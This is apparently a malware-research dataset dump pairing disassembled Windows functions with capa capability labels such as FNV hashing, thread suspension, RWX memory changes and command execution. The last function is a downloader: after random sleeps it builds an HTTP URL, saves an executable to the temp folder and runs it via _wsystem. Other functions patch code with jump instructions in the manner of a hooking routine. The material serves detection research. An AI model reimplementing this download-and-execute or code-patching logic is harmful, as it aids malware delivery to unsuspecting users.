joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180089e20
Capabilities:
Hash data using fnv

Disassembly:
push rdi
sub rsp, 0x20
movabs rax, 0xfffffffffffffff
mov edi, 1
bsr rcx, rax
mov eax, edi
shl rax, cl
cmp rdx, rax
jbe 0x180089e51
lea rcx, str.invalid_hash_bucket_count
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xlength_error_char_const____ptr64_]
int3
lea rax, [rdx - 1]
mov qword [rsp + 0x30], rbx
mov rbx, qword [0x18011f348]
or rax, rdi
bsr rcx, rax
mov r8, rbx
inc ecx
shl rdi, cl
lea rcx, [0x18011f358]
lea rdx, [rdi + rdi]
call fcn.1800046f0
mov rax, qword [0x18011f348]
lea r9, [rdi - 1]
mov qword [0x18011f370], r9
mov qword [0x18011f378], rdi
mov rax, qword [rax]
mov rcx, rax
cmp rax, rbx
je 0x180089fc4
mov qword [rsp + 0x40], rsi
movabs rdi, 0x100000001b3
movabs rsi, 0xcbf29ce484222325
movzx edx, byte [rax + 0x11]
movzx r11d, byte [rax + 0x10]
mov rcx, qword [rcx]
xor r11, rsi
imul r11, rdi
xor r11, rdx
movzx edx, byte [rax + 0x12]
imul r11, rdi
xor r11, rdx
movzx edx, byte [rax + 0x13]
imul r11, rdi
xor r11, rdx
imul r11, rdi
and r11, r9
shl r11, 4
add r11, qword [0x18011f358]
mov r9, qword [r11]
cmp r9, rbx
jne 0x180089f10
mov qword [r11], rax
mov qword [r11 + 8], rax
jmp 0x180089f85
mov rdx, qword [r11 + 8]
mov r8d, dword [rax + 0x10]
cmp r8d, dword [rdx + 0x10]
jne 0x180089f4d
mov r10, qword [rdx]
cmp r10, rax
je 0x180089f47
mov r9, qword [rax + 8]
mov qword [r9], rcx
mov r8, qword [rcx + 8]
mov qword [r8], r10
mov rdx, qword [r10 + 8]
mov qword [rdx], rax
mov qword [r10 + 8], r8
mov qword [rcx + 8], r9
mov qword [rax + 8], rdx
mov qword [r11 + 8], rax
jmp 0x180089f85
cmp r9, rdx
je 0x180089f61
mov rdx, qword [rdx + 8]
cmp r8d, dword [rdx + 0x10]
je 0x180089f99
cmp r9, rdx
jne 0x180089f52
mov r10, qword [rax + 8]
mov qword [r10], rcx
mov r9, qword [rcx + 8]
mov qword [r9], rdx
mov r8, qword [rdx + 8]
mov qword [r8], rax
mov qword [rdx + 8], r9
mov qword [rcx + 8], r10
mov qword [rax + 8], r8
mov qword [r11], rax
mov rax, rcx
cmp rcx, rbx
je 0x180089fbf
mov r9, qword [0x18011f370]
jmp 0x180089ec1
mov r10, qword [rdx]
mov r9, qword [rax + 8]
mov qword [r9], rcx
mov r8, qword [rcx + 8]
mov qword [r8], r10
mov rdx, qword [r10 + 8]
mov qword [rdx], rax
mov qword [r10 + 8], r8
mov qword [rcx + 8], r9
mov qword [rax + 8], rdx
jmp 0x180089f85
mov rsi, qword [rsp + 0x40]
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x180089fd0
Capabilities:
Hash data using fnv

Disassembly:
push rdi
sub rsp, 0x20
movabs rax, 0xfffffffffffffff
mov edi, 1
bsr rcx, rax
mov eax, edi
shl rax, cl
cmp rdx, rax
jbe 0x18008a001
lea rcx, str.invalid_hash_bucket_count
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xlength_error_char_const____ptr64_]
int3
lea rax, [rdx - 1]
mov qword [rsp + 0x30], rbx
mov rbx, qword [0x18011f308]
or rax, rdi
bsr rcx, rax
mov r8, rbx
inc ecx
shl rdi, cl
lea rcx, [0x18011f318]
lea rdx, [rdi + rdi]
call fcn.1800046f0
mov rax, qword [0x18011f308]
lea r9, [rdi - 1]
mov qword [0x18011f330], r9
mov qword [0x18011f338], rdi
mov rax, qword [rax]
mov rcx, rax
cmp rax, rbx
je 0x18008a174
mov qword [rsp + 0x40], rsi
movabs rdi, 0x100000001b3
movabs rsi, 0xcbf29ce484222325
movzx edx, byte [rax + 0x11]
movzx r11d, byte [rax + 0x10]
mov rcx, qword [rcx]
xor r11, rsi
imul r11, rdi
xor r11, rdx
movzx edx, byte [rax + 0x12]
imul r11, rdi
xor r11, rdx
movzx edx, byte [rax + 0x13]
imul r11, rdi
xor r11, rdx
imul r11, rdi
and r11, r9
shl r11, 4
add r11, qword [0x18011f318]
mov r9, qword [r11]
cmp r9, rbx
jne 0x18008a0c0
mov qword [r11], rax
mov qword [r11 + 8], rax
jmp 0x18008a135
mov rdx, qword [r11 + 8]
mov r8d, dword [rax + 0x10]
cmp r8d, dword [rdx + 0x10]
jne 0x18008a0fd
mov r10, qword [rdx]
cmp r10, rax
je 0x18008a0f7
mov r9, qword [rax + 8]
mov qword [r9], rcx
mov r8, qword [rcx + 8]
mov qword [r8], r10
mov rdx, qword [r10 + 8]
mov qword [rdx], rax
mov qword [r10 + 8], r8
mov qword [rcx + 8], r9
mov qword [rax + 8], rdx
mov qword [r11 + 8], rax
jmp 0x18008a135
cmp r9, rdx
je 0x18008a111
mov rdx, qword [rdx + 8]
cmp r8d, dword [rdx + 0x10]
je 0x18008a149
cmp r9, rdx
jne 0x18008a102
mov r10, qword [rax + 8]
mov qword [r10], rcx
mov r9, qword [rcx + 8]
mov qword [r9], rdx
mov r8, qword [rdx + 8]
mov qword [r8], rax
mov qword [rdx + 8], r9
mov qword [rcx + 8], r10
mov qword [rax + 8], r8
mov qword [r11], rax
mov rax, rcx
cmp rcx, rbx
je 0x18008a16f
mov r9, qword [0x18011f330]
jmp 0x18008a071
mov r10, qword [rdx]
mov r9, qword [rax + 8]
mov qword [r9], rcx
mov r8, qword [rcx + 8]
mov qword [r8], r10
mov rdx, qword [r10 + 8]
mov qword [rdx], rax
mov qword [r10 + 8], r8
mov qword [rcx + 8], r9
mov qword [rax + 8], rdx
jmp 0x18008a135
mov rsi, qword [rsp + 0x40]
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x1800a3f80
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x40
mov rax, qword [0x18011c028]
xor rax, rsp
mov qword [rsp + 0x38], rax
mov rbx, rdx
mov rdi, rcx
mov ecx, 8
call fcn.1800a7020
mov r9, rax
mov rax, qword [rbx]
mov qword [r9], rax
mov qword [rsp + 0x30], r9
lea rbx, [rdi + 8]
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], 0
lea r8, [0x1800a4e50]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rdi], rax
test rax, rax
je 0x1800a3ffc
mov rax, rdi
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.1800a6c70
mov rbx, qword [rsp + 0x58]
add rsp, 0x40
pop rdi
ret
mov dword [rbx], 0
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
Function at 0x1800a6284
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rdi, rdx
lea r8, [rsp + 0x60]
mov ebx, ecx
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
mov r8d, ebx
mov ecx, 0x1300
neg eax
sbb r9d, r9d
and qword [rsp + 0x30], 0
and r9d, dword [rsp + 0x60]
xor edx, edx
and dword [rsp + 0x28], 0
mov dword [rsp + 0x60], r9d
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x1800a6308
mov r8, qword [rdi]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, [0x1800afca0]
cmp byte [rcx + rax], 0
je 0x1800a6308
dec r8
sub rdx, 1
jne 0x1800a62ee
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret

Function at 0x1800a7e70
Capabilities:
Resume thread

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x30
xor edi, edi
mov esi, ecx
mov ecx, dword [0x180120eac]
mov ebx, edi
test ecx, ecx
je 0x1800a7fab
mov rax, qword [0x180120ea0]
add rax, 0x20
nop
movzx edx, byte [rax]
shr edx, 1
and edx, 1
cmp edx, esi
jne 0x1800a7ec8
inc ebx
add rax, 0x38
cmp ebx, ecx
jb 0x1800a7ea0
mov eax, edi
mov rbx, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret
cmp ebx, 0xffffffff
je 0x1800a7fab
mov r8d, edi
lea rcx, [rsp + 0x20]
test esi, esi
mov edx, 0xffffffff
setne r8b
call fcn.1800a81f0
mov r8d, dword [0x180120eac]
cmp ebx, r8d
jae 0x1800a7f38
nop word [rax + rax]
mov eax, ebx
imul rcx, rax, 0x38
mov rax, qword [0x180120ea0]
movzx edx, byte [rcx + rax + 0x20]
shr edx, 1
and edx, 1
cmp edx, esi
je 0x1800a7f31
mov edx, esi
mov ecx, ebx
call fcn.1800a80e0
mov edi, eax
test eax, eax
jne 0x1800a7f38
mov r8d, dword [0x180120eac]
inc ebx
cmp ebx, r8d
jb 0x1800a7f00
cmp qword [rsp + 0x20], 0
je 0x1800a7fab
mov eax, dword [rsp + 0x2c]
test eax, eax
je 0x1800a7f97
mov rbx, qword [rsp + 0x20]
mov qword [rsp + 0x40], rbp
mov ebp, eax
nop dword [rax]
nop dword [rax + rax]
mov r8d, dword [rbx]
xor edx, edx
lea ecx, [rdx + 0x5a]
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov rsi, rax
test rax, rax
je 0x1800a7f88
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
add rbx, 4
sub rbp, 1
jne 0x1800a7f60
mov rbp, qword [rsp + 0x40]
mov r8, qword [rsp + 0x20]
xor edx, edx
mov rcx, qword [0x18011eee8]
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rbx, qword [rsp + 0x48]
mov eax, edi
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret
Function at 0x1800a80e0
Capabilities:
Allocate or change rwx memory

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x20
mov eax, ecx
lea r9, [rsp + 0x30]
imul rbx, rax, 0x38
mov esi, edx
add rbx, qword [0x180120ea0]
mov r8, qword [rbx]
movzx eax, byte [rbx + 0x20]
and al, 1
movzx ecx, al
lea rdi, [r8 - 5]
cmove rdi, r8
mov r8d, 0x40
lea rbp, [rcx*2 + 5]
mov rcx, rdi
mov rdx, rbp
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x1800a8144
mov eax, 0xa
jmp 0x1800a81d3
test esi, esi
je 0x1800a8166
mov byte [rdi], 0xe9
mov eax, dword [rbx + 8]
sub eax, edi
sub eax, 5
mov dword [rdi + 1], eax
test byte [rbx + 0x20], 1
je 0x1800a8189
mov rax, qword [rbx]
mov word [rax], 0xf9eb
jmp 0x1800a8189
mov eax, dword [rbx + 0x18]
test byte [rbx + 0x20], 1
mov dword [rdi], eax
je 0x1800a8182
movzx eax, word [rbx + 0x1c]
mov word [rdi + 4], ax
movzx eax, byte [rbx + 0x1e]
mov byte [rdi + 6], al
jmp 0x1800a8189
movzx eax, byte [rbx + 0x1c]
mov byte [rdi + 4], al
mov r8d, dword [rsp + 0x30]
lea r9, [rsp + 0x30]
mov rdx, rbp
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r8, rbp
mov rdx, rdi
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_FlushInstructionCache]
and byte [rbx + 0x20], 0xfd
and sil, 1
movzx eax, sil
shl sil, 2
add al, al
or al, byte [rbx + 0x20]
and al, 0xfb
or al, sil
mov byte [rbx + 0x20], al
xor eax, eax
mov rbx, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
ret
Function at 0x1800a81f0
Capabilities:
Enumerate threads
Suspend thread

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rbp
push rsi
push rdi
push r14
sub rsp, 0x50
mov rax, qword [0x18011c028]
xor rax, rsp
mov qword [rsp + 0x40], rax
xor esi, esi
mov r14d, edx
mov rbx, rcx
mov qword [rcx], rsi
mov qword [rcx + 8], rsi
xor edx, edx
mov ebp, r8d
lea ecx, [rsi + 4]
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x1800a831a
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x1c
mov rcx, rax
call sub.KERNEL32.dll_Thread32First
test eax, eax
je 0x1800a8311
nop word [rax + rax]
cmp dword [rsp + 0x20], 0x10
jb 0x1800a82f4
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp dword [rsp + 0x2c], eax
jne 0x1800a82f4
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp dword [rsp + 0x28], eax
je 0x1800a82f4
mov rdx, qword [rbx]
test rdx, rdx
jne 0x1800a82b2
mov dword [rbx + 8], 0x80
mov r8d, 0x200
mov rcx, qword [0x18011eee8]
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov qword [rbx], rax
mov rdx, rax
test rax, rax
je 0x1800a8311
jmp 0x1800a82e7
mov eax, dword [rbx + 8]
cmp dword [rbx + 0xc], eax
jb 0x1800a82e7
mov rcx, qword [0x18011eee8]
lea r9d, [rax + rax]
mov r8, rdx
shl r9, 2
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapReAlloc]
mov rdx, rax
test rax, rax
je 0x1800a8311
mov eax, dword [rbx + 8]
add eax, eax
mov qword [rbx], rdx
mov dword [rbx + 8], eax
mov ecx, dword [rbx + 0xc]
mov eax, dword [rsp + 0x28]
mov dword [rdx + rcx*4], eax
inc dword [rbx + 0xc]
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x1c
mov rcx, rdi
call sub.KERNEL32.dll_Thread32Next
test eax, eax
jne 0x1800a8260
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp qword [rbx], rsi
je 0x1800a8373
cmp dword [rbx + 0xc], esi
jbe 0x1800a8373
nop dword [rax]
nop dword [rax + rax]
mov rax, qword [rbx]
xor edx, edx
mov ecx, esi
mov r8d, dword [rax + rcx*4]
lea ecx, [rdx + 0x5a]
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov rdi, rax
test rax, rax
je 0x1800a836c
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SuspendThread]
mov r8d, ebp
mov edx, r14d
mov rcx, rdi
call fcn.1800a86f0
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
inc esi
cmp esi, dword [rbx + 0xc]
jb 0x1800a8330
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.1800a6c70
lea r11, [rsp + 0x50]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret
Function at 0x1800a88a0
Capabilities:
Resume thread

Disassembly:
push rdi
sub rsp, 0x20
cmp qword [rcx], 0
mov rdi, rcx
je 0x1800a890f
mov qword [rsp + 0x30], rbx
xor ebx, ebx
cmp dword [rcx + 0xc], ebx
jbe 0x1800a88f8
mov qword [rsp + 0x38], rsi
mov rax, qword [rdi]
xor edx, edx
mov r8d, dword [rax + rbx*4]
lea ecx, [rdx + 0x5a]
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov rsi, rax
test rax, rax
je 0x1800a88ec
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
inc ebx
cmp ebx, dword [rdi + 0xc]
jb 0x1800a88c0
mov rsi, qword [rsp + 0x38]
mov r8, qword [rdi]
xor edx, edx
mov rcx, qword [0x18011eee8]
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x1800a89d0
Capabilities:
Get system information on windows

Disassembly:
mov qword [rsp + 0x20], rsi
push rdi
push r14
push r15
sub rsp, 0x80
mov rdi, rcx
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov r14, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x30]
cmp rdi, 0x40000000
jbe 0x1800a8a10
lea rax, [rdi - 0x40000000]
cmp r14, rax
cmovb r14, rax
mov rsi, qword [0x180120e90]
lea r15, [rdi + 0x40000000]
cmp rcx, r15
cmovbe r15, rcx
sub r15, 0xfff
test rsi, rsi
je 0x1800a8a4e
cmp rsi, r14
jb 0x1800a8a46
cmp rsi, r15
jae 0x1800a8a46
cmp qword [rsi + 8], 0
jne 0x1800a8c17
mov rsi, qword [rsi]
test rsi, rsi
jne 0x1800a8a31
mov qword [rsp + 0xa0], rbx
mov rbx, rdi
mov qword [rsp + 0xa8], rbp
mov qword [rsp + 0xb0], r12
mov r12d, 0x40
cmp rdi, r14
jb 0x1800a8ae2
nop dword [rax]
nop dword [rax + rax]
mov ebp, dword [rsp + 0x48]
mov rax, rbx
xor edx, edx
div rbp
sub rbx, rdx
sub rbx, rbp
cmp rbx, r14
jb 0x1800a8ad9
nop word [rax + rax]
mov r8d, 0x30
lea rdx, [rsp + 0x50]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x1800a8ad9
cmp dword [rsp + 0x70], 0x10000
je 0x1800a8b5b
mov rbx, qword [rsp + 0x58]
cmp rbx, rbp
jb 0x1800a8ad9
sub rbx, rbp
cmp rbx, r14
jae 0x1800a8aa0
test rsi, rsi
jne 0x1800a8bc0
cmp rdi, r15
ja 0x1800a8bff
nop dword [rax + rax]
mov ebp, dword [rsp + 0x48]
xor edx, edx
mov rax, rdi
mov ebx, ebp
div rbp
mov eax, ebp
sub rax, rdx
add rax, rdi
mov rdi, rax
cmp rax, r15
ja 0x1800a8bff
mov r8d, 0x30
lea rdx, [rsp + 0x50]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x1800a8bff
cmp dword [rsp + 0x70], 0x10000
je 0x1800a8b91
xor edx, edx
lea edi, [rbp - 1]
add rdi, qword [rsp + 0x68]
add rdi, qword [rsp + 0x50]
mov rax, rdi
div rbx
sub rdi, rdx
cmp rdi, r15
jbe 0x1800a8b12
jmp 0x1800a8bff
test rbx, rbx
je 0x1800a8ad9
mov r9d, r12d
mov edx, 0x1000
mov r8d, 0x3000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rsi, rax
test rax, rax
jne 0x1800a8bc0
cmp rbx, r14
jae 0x1800a8a80
jmp 0x1800a8ae2
test rdi, rdi
je 0x1800a8bff
mov r9d, r12d
mov edx, 0x1000
mov r8d, 0x3000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rsi, rax
test rax, rax
jne 0x1800a8bc0
cmp rdi, r15
jbe 0x1800a8af0
jmp 0x1800a8bff
xor edx, edx
lea rcx, [rsi + 0x40]
mov dword [rsi + 0x10], edx
nop dword [rax]
mov qword [rcx], rdx
mov rax, rcx
mov qword [rsi + 8], rcx
add r12, 0x40
add rcx, 0x40
mov rdx, rax
cmp r12, 0xfc0
jbe 0x1800a8bd0
mov rax, qword [0x180120e90]
mov qword [rsi], rax
mov qword [0x180120e90], rsi
mov r12, qword [rsp + 0xb0]
mov rbp, qword [rsp + 0xa8]
mov rbx, qword [rsp + 0xa0]
mov rax, rsi
mov rsi, qword [rsp + 0xb8]
add rsp, 0x80
pop r15
pop r14
pop rdi
ret
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x14000f910]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x14000f920]
mov dword [rax], 1
mov rax, qword [0x14000f930]
mov dword [rax], 1
mov rax, qword [0x14000f890]
cmp word [rax], 0x5a4d
jne 0x14000105a
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010c0
mov rax, qword [0x14000f900]
mov dword [0x14001300c], ecx
mov eax, dword [rax]
test eax, eax
je 0x1400010b0
mov ecx, 2
call sym.__set_app_type
call dbg.__p__fmode
mov rdx, qword [0x14000f9e0]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg.__p__commode
mov rdx, qword [0x14000f9c0]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x14000f870]
cmp dword [rax], 1
je 0x1400010f8
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x140001077
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001110
cmp dx, 0x20b
jne 0x14000105a
cmp dword [rax + 0x84], 0xe
jbe 0x14000105a
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x14000105a
mov rcx, qword [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x14000105a
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x14000105a
Function at 0x140001947
Capabilities:
Get system information on windows

Disassembly:
push rbp
push rsi
push rbx
sub rsp, 0xb0
lea rbp, [rsp + 0xb0]
mov dword [rbp + 0x20], ecx
mov rax, qword [sym.imp.KERNEL32.dll_GetProcessHeap]
call rax
mov r8d, 0x100
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_HeapAlloc]
call rax
mov qword [rbp - 0x10], rax
cmp qword [rbp - 0x10], 0
jne 0x140001991
mov eax, 0
jmp 0x140001b2d
pxor xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
movups xmmword [rbp - 0x40], xmm0
movups xmmword [rbp - 0x30], xmm0
movq qword [rbp - 0x20], xmm0
lea rax, [rbp - 0x50]
mov r9d, 0
mov r8d, 0x38
mov rdx, rax
mov ecx, 0xb6
call sym.NtQuerySystemInformation
call sym.InitGRandom4WStr
mov dword [rbp - 0x55], 0
mov byte [rbp - 0x51], 0
mov dword [rbp - 0x5a], 0
mov byte [rbp - 0x56], 0
mov dword [rbp - 4], 0
jmp 0x140001a1f
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x4ec4ec4f
shr rdx, 0x20
sar edx, 3
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x1a
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x61
mov edx, eax
mov eax, dword [rbp - 4]
cdqe
mov byte [rbp + rax - 0x55], dl
add dword [rbp - 4], 1
cmp dword [rbp - 4], 3
jle 0x1400019e7
mov dword [rbp - 8], 0
jmp 0x140001a66
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x4ec4ec4f
shr rdx, 0x20
sar edx, 3
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x1a
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x61
mov edx, eax
mov eax, dword [rbp - 8]
cdqe
mov byte [rbp + rax - 0x5a], dl
add dword [rbp - 8], 1
cmp dword [rbp - 8], 3
jle 0x140001a2e
mov rax, qword [rbp - 0x50]
shr rax, 0x14
mov rsi, rax
mov rax, qword [rbp - 0x48]
shr rax, 0x14
mov rbx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcessHeap]
call rax
mov rdx, qword [rbp - 0x10]
mov r8, rdx
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_HeapSize]
call rax
mov rcx, rax
lea r8, [rbp - 0x55]
mov rax, qword [rbp - 0x10]
lea rdx, [0x140013060]
mov qword [rsp + 0x48], rdx
mov edx, dword [rbp + 0x20]
mov dword [rsp + 0x40], edx
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rbx
lea rdx, [0x140013040]
mov qword [rsp + 0x28], rdx
lea rdx, [rbp - 0x5a]
mov qword [rsp + 0x20], rdx
mov r9, r8
lea r8, str._v5__hs__hs__hs__06llx_06llx__06x__ls.bin
mov rdx, rcx
mov rcx, rax
call dbg.StringCbPrintfW
mov rax, qword [rbp - 0x10]
mov rcx, rax
call sym.wcslen
add rax, 1
lea rbx, [rax + rax]
mov rax, qword [sym.imp.KERNEL32.dll_GetProcessHeap]
call rax
mov rdx, qword [rbp - 0x10]
mov r9, rbx
mov r8, rdx
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_HeapReAlloc]
call rax
add rsp, 0xb0
pop rbx
pop rsi
pop rbp
ret
Function at 0x140002404
Capabilities:
Accept command line arguments
Execute command
Query environment variable

Disassembly:
push rbp
push rdi
sub rsp, 0x688
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x620], ecx
mov qword [rbp + 0x628], rdx
call dbg.__main
mov rax, qword [section..data]
add rax, 0x14
mov qword [rbp + 0x5f0], rax
mov rax, qword [rbp + 0x5f0]
mov eax, dword [rax]
mov ecx, eax
call sym.srand
call sym.InitGStartTimeStr
call sym.rand
mov edx, eax
mov eax, edx
sar eax, 0x1f
shr eax, 0x16
add edx, eax
and edx, 0x3ff
sub edx, eax
mov eax, edx
add eax, 0x1000
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_SleepEx]
call rax
mov dword [rbp + 0x5fc], 0
cmp dword [rbp + 0x620], 1
jle 0x1400024b8
mov rax, qword [rbp + 0x628]
add rax, 8
mov rax, qword [rax]
mov r8d, 0x10
mov edx, 0
mov rcx, rax
call sym.strtol
mov dword [rbp + 0x5fc], eax
call sym.GenerateServerPart
mov qword [rbp + 0x5e8], rax
mov eax, dword [rbp + 0x5fc]
mov ecx, eax
call sym.GenerateObjectPart
mov qword [rbp + 0x5e0], rax
cmp qword [rbp + 0x5e0], 0
je 0x1400024ec
cmp qword [rbp + 0x5e8], 0
jne 0x140002526
mov rax, qword [sym.imp.KERNEL32.dll_GetCommandLineW]
call rax
mov rdx, rax
lea rax, str.Retrying__ls_r_n
mov rcx, rax
call sym.printf
mov rax, qword [sym.imp.KERNEL32.dll_GetCommandLineW]
call rax
mov rcx, rax
mov rax, qword [sym.imp.msvcrt.dll__wsystem]
call rax
mov eax, 0
jmp 0x1400026ac
lea rdx, [rbp + 0x3d0]
mov eax, 0
mov ecx, 0x41
mov rdi, rdx
rep stosq qword [rdi], rax
lea rdx, [rbp + 0x1c0]
mov eax, 0
mov ecx, 0x41
mov rdi, rdx
rep stosq qword [rdi], rax
lea rax, [rbp + 0x1c0]
lea r9, [0x140013040]
lea r8, str.__tmp___hs.exe
mov edx, 0x208
mov rcx, rax
call dbg.StringCbPrintfW
lea rdx, [rbp + 0x3d0]
lea rax, [rbp + 0x1c0]
mov r8d, 0x104
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
call rax
lea rcx, [rbp + 0x3d0]
mov rdx, qword [rbp + 0x5e0]
mov rax, qword [rbp + 0x5e8]
mov r9, rcx
mov r8, rdx
mov rdx, rax
lea rax, str.http:___ls_ls______ls_r_n
mov rcx, rax
call sym.printf
lea rcx, [rbp + 0x3d0]
mov rdx, qword [rbp + 0x5e0]
mov rax, qword [rbp + 0x5e8]
mov r8, rcx
mov rcx, rax
call sym.DoDownload
mov dword [rbp + 0x5dc], eax
lea rdx, [rbp - 0x50]
mov eax, 0
mov ecx, 0x41
mov rdi, rdx
rep stosq qword [rdi], rax
mov eax, dword [rbp + 0x5fc]
lea edx, [rax + 1]
lea rcx, [rbp + 0x3d0]
lea rax, [rbp - 0x50]
mov dword [rsp + 0x20], edx
mov r9, rcx
lea r8, str._s__06x
mov edx, 0x208
mov rcx, rax
call dbg.StringCbPrintfW
cmp dword [rbp + 0x5dc], 0
je 0x140002677
call sym.rand
mov edx, eax
mov eax, edx
sar eax, 0x1f
shr eax, 0x16
add edx, eax
and edx, 0x3ff
sub edx, eax
mov eax, edx
add eax, 0x1000
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_SleepEx]
call rax
lea rax, [rbp - 0x50]
mov rcx, rax
mov rax, qword [sym.imp.msvcrt.dll__wsystem]
call rax
jmp 0x1400026a7
mov rax, qword [sym.imp.KERNEL32.dll_GetCommandLineW]
call rax
mov rdx, rax
lea rax, str.Retrying__ls_r_n
mov rcx, rax
call sym.printf
mov rax, qword [sym.imp.KERNEL32.dll_GetCommandLineW]
call rax
mov rcx, rax
mov rax, qword [sym.imp.msvcrt.dll__wsystem]
call rax
mov eax, 0
add rsp, 0x688
pop rdi
pop rbp
ret